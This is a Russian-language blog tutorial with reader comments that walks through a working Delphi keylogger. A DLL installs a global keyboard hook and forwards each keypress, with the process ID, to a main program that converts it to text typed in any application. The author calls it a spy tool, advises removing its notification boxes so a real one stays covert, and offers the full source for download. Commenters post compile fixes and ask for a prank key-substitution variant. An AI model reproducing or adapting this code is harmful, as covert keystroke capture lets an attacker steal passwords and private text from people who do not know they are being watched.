уважаемые посетители блога, если Вам понравилась, то, пожалуйста, помогите автору с лечением. Подробности тут.

Сегодня снова вернемся к вопросу о ловушках и посмотрим их реализацию в том виде, в котором можно читать текст, набранный в любом приложении, а не просто просмотреть виртуальный и скан-код клавиши.

В прошлый раз мы рассмотрели простейший из всех известных мне примеров применения ловушек в Windows. И остановились на том, что ловушка сама писала данные о нажатых клавишах в текстовый файл.
С точки зрения устойчивости такой ловушки можно сказать, что Вам очень сильно повезет, если такая ловушка ни разу не даст сбой в работе и не повесится сама или не повесит систему. Сам по себе процесс записи/чтения в файл достаточно медленный и кто знает успеет ли ловушка отработать до конца эту процедуру и не пропустить сообщение мимо своих «ушей».
Более разумно в таких случаях использовать следующий алгоритм обработки:

  1. Регистрируем ловушку в системе
  2. Ловушка перехватывает все сообщения от клавиатуры и переправляет их в основную программу через сообщения
  3. Основная программа проводит дополнительную обработку данных: переводит значения LParam и WParam в символы, пишет файл и т.д. и т.п. в общем всё, что Вашей душе угодно.

Попробуем реализовать подобный алгоритм сегодня. Итак, пишем ловушку.

1. DLL для перехвата сообщений клавиатуры

Чтобы сильно не нагружать нашу библиотеку лишними операциями, реализуем в ней всего две простые функции:

  • загрузки/выгрузки библиотеки
  • непосредственно перехват и пересылка сообщений в основную программу

Рассмотрим листинг такой динамической библиотеки:

library HookLib;
 
uses
SysUtils,Windows,Messages, Ariphm;
 
const
HookMsg = WM_USER+$125;
 
var
CurHook:HWND;
 
function KeyboardProc(code: integer; wParam: word; lParam: longint) : longint; stdcall;
var AppWnd:HWND;
Begin
  if code < 0 then
    Result:= CallNextHookEx(CurHook, Code, wParam, lParam)
  else
    begin
      if Byte(LParam shr 24)<$80 then
        begin
          AppWnd:= FindWindow(nil, PChar('Перехватчик'));
          SendMessage(AppWnd,HookMsg,wParam, GetCurrentThreadId {lParam});
          Result:=CallNextHookEx(CurHook, Code, wParam, lParam);
        end;
    end;
end;
 
procedure hook(Switch: Boolean; HandleProg: HWND) export; stdcall;
begin
  if switch=true then
    begin
      CurHook:= SetWindowsHookEx(WH_KEYBOARD, @KeyboardProc, HInstance, 0);
      if CurHook <> 0 then
        MessageBox(0, 'Ловушка установлена !', 'Уведомление', MB_OK+MB_ICONINFORMATION)
      else
        MessageBox(0, 'Установка ловушке не удалась!', 'Ошибка', MB_OK+MB_ICONERROR);
    end
  else
    begin
      if UnhookWindowsHookEx(CurHook) then
        MessageBox(0, 'Ловушка снята!', 'Уведомление', MB_OK+MB_ICONINFORMATION)
      else
        MessageBox(0, 'Выгрузка ловушки из памяти не удалась!', '', MB_OK+MB_ICONERROR);
    end;
end;
 
exports hook;
begin
end.

Выглядит может и не эстетично, но тем не менее всё работает как положено. На что следует обратить внимание при разработке собственной ловушки?

Во-первых, рассмотрим процедуру загрузки/выгрузки:

procedure hook(Switch: Boolean; HandleProg: HWND) export; stdcall;
begin
  if switch=true then
    begin
      CurHook:= SetWindowsHookEx(WH_KEYBOARD, @KeyboardProc, HInstance, 0);
      if CurHook <> 0 then
        MessageBox(0, 'Ловушка установлена !', 'Уведомление', MB_OK+MB_ICONINFORMATION)
      else
        MessageBox(0, 'Установка ловушке не удалась!', 'Ошибка', MB_OK+MB_ICONERROR);
    end
  else 
    begin
      if UnhookWindowsHookEx(CurHook) then
        MessageBox(0, 'Ловушка снята!', 'Уведомление', MB_OK+MB_ICONINFORMATION)
      else
        MessageBox(0, 'Выгрузка ловушки из памяти не удалась!', '', MB_OK+MB_ICONERROR);
    end;
end;

Так как мы пишем учебный пример, то я не поскупился и накидал здесь страшных и не очень сообщений, уведомляющих нас о состоянии библиотеки. Естественно, если вы будите писать настоящую «шпионскую» ловушку, то сообщения эти будут явно излишними, поэтому их следует убрать, а вместе с ними и удалить из uses модуль Messages. Так Вы сможете сохранить свою конспиративность и размер библиотеки после компиляции значительно уменьшится.

Во-вторых, при разработке этой ловушки я использовал константу HookMsg при отправке нашей «шпионской посылки» в основную программу. Сделано это было, можно сказать, из лени :) В реальных условиях разработки такого делать не стоит, так как никто не дает вам гарантии, что в системе не найдется ещё одного пользовательского сообщения с таким же параметром. Поэтому следует воспользоваться следующим методам:

RegisterWindowMessage(HookName: string)

Эта функция регистрирует системное сообщение в Windows. Так Вы избежите неловких ситуаций с повторяющимися сообщениями.

Теперь перейдем к самой главной функции — перехвату сообщений:

function KeyboardProc(code: integer; wParam: word; lParam: longint) : longint; stdcall;
var Wnd:HWND;
Begin
  if code < 0 then
    Result:= CallNextHookEx(CurHook, Code, wParam, lParam)
  else
    begin
      if Byte(LParam shr 24)<$80 then
        begin
          Wnd:= FindWindow(nil, PChar('Перехватчик'));
          SendMessage(Wnd,HookMsg,wParam, GetCurrentThreadId);
          Result:=CallNextHookEx(CurHook, Code, wParam, lParam);
       end;
  end;
end;

Что здесь собственно происходит. Во первых при перехвате сообщения проверяется значение параметра Code. В случае, если параметр меньше нуля, то вызываем функцию CallNextHookEx и выходим из функции. Так советует делать справка Windows. Но дело в том, что Code в Win32 почему-то всегда возвращает значение не меньше нуля. Так что, если Вы планируете использовать свою ловушку в Win32, то в принципе эта проверка Вам не пригодится.
Следующий шаг после проверки — поиск окно вызывающей программы.

Wnd:= FindWindow(nil, PChar('Перехватчик'));

то есть я ищу зарегистрированный в системе элемент с заголовком «Перехватчик» и, если таковой находится, то пересылаю сообщение обычным способом:

SendMessage(Wnd, HookMsg, wParam, GetCurrentThreadId);

Обратите внимание на последний параметр. По всем правилам я должен бы был отправить вторым параметром lParam, а я чего-то отправляю значение функции. Забегая немного вперед скажу, что без пересылки идентификатора процесса у которого перехвачено сообщение, транслировать полученные значения виртуального и скан-кода клавиши в букву удастся в 50% случаев — когда пользователь пишет на латинице. Так как в lParam содержится (цитирую из справки по сообщениям Windows):

lParamLo: Количество pаз, когда нажатие этой клавиши повтоpялось из-за фиксации
ее в нажатом положении.
LParamHi: Биты 0-7 в lParamHi являются scan-кодом клавиши, зависящим от OEM. Бит 8 pавен 1, если клавиша относится к pасшиpенным. Бит 13 pавен 1, если пpи нажатии клавиши нажималась клавиша Alt. Если клавиша уже была нажата до посылки этого сообщения, бит 14 pавен 1. Бит 15 pавен 1, если клавиша отпускается, и pавен 0, если нажимается.

То есть получается, что в принципе мы можем пожертвовать этим параметром в пользу правильно трансляции кодов в буквы. Чем я и воспользовался.

Для того, чтобы каждый код не отправлялся по 2 раза мы отправляем сообщение только в момент нажатия клавиши. Для этого осуществляется проверка:

if Byte(LParam shr 24)<$80 then

То есть значение LParam сдвигается на три байта вправо, младшим оказывается старший байт, затем число усекается до байта. Если в итоге оказывается, что старший бит в полученном байте равен 1 (то есть байт больше 127 = $7F), то это код отпускания, а мы забираем только код нажатия.
Это обстоятельство (отлов только нажатий клавиши) очень часто упускается начинающими программистами и в результате получается, что каждая буква пишется в лог дважды.

С библиотекой разобрались. Теперь посмотрим, что происходит в основной программе.

2. Разрабатываем приложение для чтения данных из ловушки

Вид приложения у меня получился довольно аскетичный

Перехватчик нажатых клавиш

Но, вместе с тем, приложение имеет интуитивно понятный интерфейс :) Приложение загружает/выгружает ловушку и выводит в Memo набранный текст. Т.к. ловушка у нас глобальная, то в Memo будет транслироваться все, что вы наберете на клавиатуре пока загружена библиотека (даже если окно основной программы будет свернуто).
Для того, чтобы наше приложение работало, ему необходимо знать, что за сообщение следует принимать. Для этого объявляем как и в библиотеке константу:

const
HookMsg = WM_USER+$125;

Теперь экспортируем из DLL функцию:

var
Form2: TForm2;
hDLL: THandle;
Hook: procedure (switch : Boolean; HandleProg: HWND) stdcall;

Загрузка библиотеки производится при нажатии на кнопку «Установить хук»:

@hook:= nil;
hDLL:= LoadLibrary(PChar('hook.dll'));
@hook:=GetProcAddress(Hdll, 'hook');
Hook(true, Form2.Handle);

Соответственно выгрузка библиотеки проводится в обратном направлении:

Hook(false, Form2.Handle);

Самое интересное в вызывающей программе — это трансляция сообщения. Создаем метод для перехвата сообщений

procedure WndProc(var Msg: TMessage); override;

Листинг метода:

procedure TForm2.WndProc(var Msg: TMessage);
var SC: integer;
    buf: Char;
    KS: TKeyboardState;
    MyHKL: HKL;
begin
inherited ;
  if Msg.Msg = HookMsg then
    begin
      MyHKL:=GetKeyboardLayout(msg.LParam);
      SC:=MapVirtualKeyEx(Msg.WParam,MAPVK_VK_TO_VSC,MyHKL);
      GetKeyboardState(KS);
      ToUnicodeEx(Msg.WParam,SC,KS,@buf,sizeof(buf),0,MyHKL);
      Memo1.Text:=Memo1.Text+buf;
      MyHKL:=0;
    End;
end;

Отлавливаем наше сообщение и начинаем его преобразовывать в читабельный вид. Для того, чтобы понять как все это происходит я настоятельно Вам советую хотя бы вкратце ознакомиться с постом про Unicode. Вкратце суть работы процедуры такова:

В параметре wParam сообщения нам поступает виртуальный код клавиши. Как мы уже говорили, виртуальный код и скан-код можно преобразовывать друг в друга функцией MapVirtualKey. Однако, в данном случае, мы не знаем в какой раскладке была нажата клавиша и для того, чтобы её (раскладку) узнать нам требуется знать в каком процессе происходила работа с клавиатурой и получить раскладку для этого процесса вызовом функции:

MyHKL:=GetKeyboardLayout(msg.LParam);

Теперь, я думаю, становится предельно ясно зачем мы в ловушке передавали вторым параметром идентификатор процесса. Именно для того, чтобы правильно определить раскладку. Ну, а зная раскладку, виртуальный и скан-код клавиши, мы можем легко транслировать  их в символ:

ToUnicodeEx(Msg.WParam,SC,KS,@buf,sizeof(buf),0,MyHKL);

Конечно мы пренебрегаем в данном случае регистрами букв, т.к. принимаем TKeyboardState для вызывающей программы (что не совсем корректно), но зато можем транслировать как русский, так и любой другой символ, хоть иврит.

И в конце обнуляем дескриптор:

MyHKL:=0;

Делать это необходимо. Иначе при каждом получении и обработке сообщения вы будете вдогонку получать сообщение о критической ошибке.

Ну, а результат работы программы может быть примерно следующим:

Результат работы клавиатурного шпиона

Как видите, в пользу правильного определения раскладки мы пожертвовали некоторыми возможностями, как то регистр букв, трансляция управляющих символов и отсеивание (или верная интерпретация) нажатий функциональных клавиш.
Можно, конечно вместо сообщения переправлять в основную программу чётко определенную структуру, содержащую все необходимые данные, вплоть до состояния клавиатуры, но сегодняшняя цель поста от этого никак не зависит. Я лишь хотел показать и подчеркнуть, что в работе клавиатурных шпионов нет ничего сверхъестественного, скорее наоборот — они просты до безобразия.
Если же у Вас всё-таки остались вопросы о работе подобных программ, то не стесняйтесь — спрашивайте. Постараюсь ответить более подробно или даже выделить ответ в отдельный пост блога.

Скачать пример клавиатурного шпиона можно со страницы с исходниками из раздела «Прочие»
0 0 голоса
Рейтинг статьи
уважаемые посетители блога, если Вам понравилась, то, пожалуйста, помогите автору с лечением. Подробности тут.
Подписаться
Уведомить о
24 Комментарий
Межтекстовые Отзывы
Посмотреть все комментарии
jkeks
18/10/2009 09:53

Может быть автор расскажет как можно отловить просто нажатие клавишь, т.е. мне неважно какие клавиши нажимались, важно узнать что последний раз клавиши нажимались тогда-то.
Спасибо

kostay
kostay
10/03/2010 23:31

программа  работает, отлавливает нажатия, шлет сообщения, только в некоторых приложениях шлет по несколько сообщений (например с word excel по 6 символов одновременно).  Как это можно исправить?

Виталий
Виталий
02/07/2010 10:36

Не могли бы Вы подсказать как определить с помощью WM_KEYUP и WM_KEYDOWN время удержания клавиш клавиатуры.

ded
ded
05/09/2010 10:53

А какие модули надо подключитьь шоб запахало ато на 7 непашет

Алексей
Алексей
16/12/2010 20:17

И все же я соглашусь с ded.
Vlad на delphi 7 и на 2005 не пашет

цитирую их:
MAPVK_VK_TO_VSC не найдена
ToUnicodeEx(Msg.WParam,SC,KS,@buf,sizeof(buf),0,MyHKL);
KS не совместим тип pbyte и Tkeyboardstate
потом я разобрался с константой
MAPVK_VK_TO_VSC
и сделал
ToUnicode
вместо
ToUnicodeEX
но стал писать что мне нужен var параметр и указывает на @buf
в чем проблема?

Александр
Александр
20/01/2011 21:25

Алексей немогли бы вы сказать, как вы побороли ошибку с MAPVK_VK_TO_VSC не найдена?
С ToUnicodeEX аналогично вашей ситуации. Вы как-нибудь решили проблему?
P.S. У меня Delphi 2009.

Александр
Александр
21/01/2011 03:00

Сам спросил — сам отвечаю, вдруг кому пригодится: вместо MAPVK_VK_TO_VSC ставим 0, в ToUnicodeEx(Msg.WParam,SC,KS,@buf,sizeof(buf),0,MyHKL); вместо KS — @KS.

KWN, lnc
KWN, lnc
26/10/2011 18:04

Пришлите мне пожалуйста мне на мыло kurtwagner@mail.ru работающий исходник. а то я упоковал. а он некорректно работает. анг. нормально! а рус. цифрами (((

Кирилл
Кирилл
01/11/2011 11:32

Vlad, можете помоч с одной пролемой. Мне надо написать программку-прикол, которая перехватывает нажатую клавишу и надо что бы в программе, куда по идее эта клавиша назначалась, появилась совсем другая клавиша, причем рандомная.
у меня есть несколько идей:
1)это перехватываем название окна куда назначается буква и посылаем туда клавушу #8(backspace) , а потом рандомную.
или
2)перехватываем нажатую клавишу, и поосылаем дальше в перехватчики совсем другую клавишу
очень большая просьба что нибудь рассказать и помоч!

KWN, lnc
KWN, lnc
19/11/2011 23:49

мож кто поможет с моим вопросом ???

KWN, lnc
KWN, lnc
20/11/2011 17:11

у меня Delphi 7 может из-за того что старая версия. поэтому не работает?
можешь выслать исходник который у тебя работает без проблем, мне на мыло kurtwagner@mail.ru и назвать свою версию Delphi …

KWN, lnc
KWN, lnc
22/11/2011 01:19

А как мне делать так чтобы он работал на Delphi 7 (((((((((( please help!

Mortarez
Mortarez
24/02/2012 16:29

Vlad, все же проверку нажатия клавиши будет проще организовать не так, как у тебя:
  if Byte(LParam shr 24)<$80 then
а вот так:
if (lParam shr 31) = 0 then
Возможно, ты знаешь о программах типа WarKey. У тебя не было попыток написать подобную?

Dil
Dil
05/03/2012 00:20

Почему то на некоторых браузерах (IE 9, Firefox 10) этот пример не работает, может на новых браузерах зашита стоит?

balmo
balmo
22/04/2012 01:35

Добрый вечер. Я, конечно, извиняюсь за поднятие столь старого топика, и тем не менее)

Как всё-таки быть с регистром символов? Даже, вернее, с тем что Shift+1=»1″ вместо «!». И ладно бы отловить состояние VK_SHIFT и добавить полтора десятка замен.. Но ведь все зависит ещё и от локали:

RU: Shift+3=№
EN: Shift+3=#

Есть ли универсальное средство? Очень хочется получать Char в любой раскладке (хоть на арабском).

balmo
balmo
27/04/2012 22:03

На всякий случай, как говорится…
Нашел решение, насколько оно «костыль» или предусмотренное microsoft не знаю..

В общем, как временное пойдет:


AttachThreadInput(TargetThreadId,GetCurrentThreadId(),True);
GetKeyboardState(KS);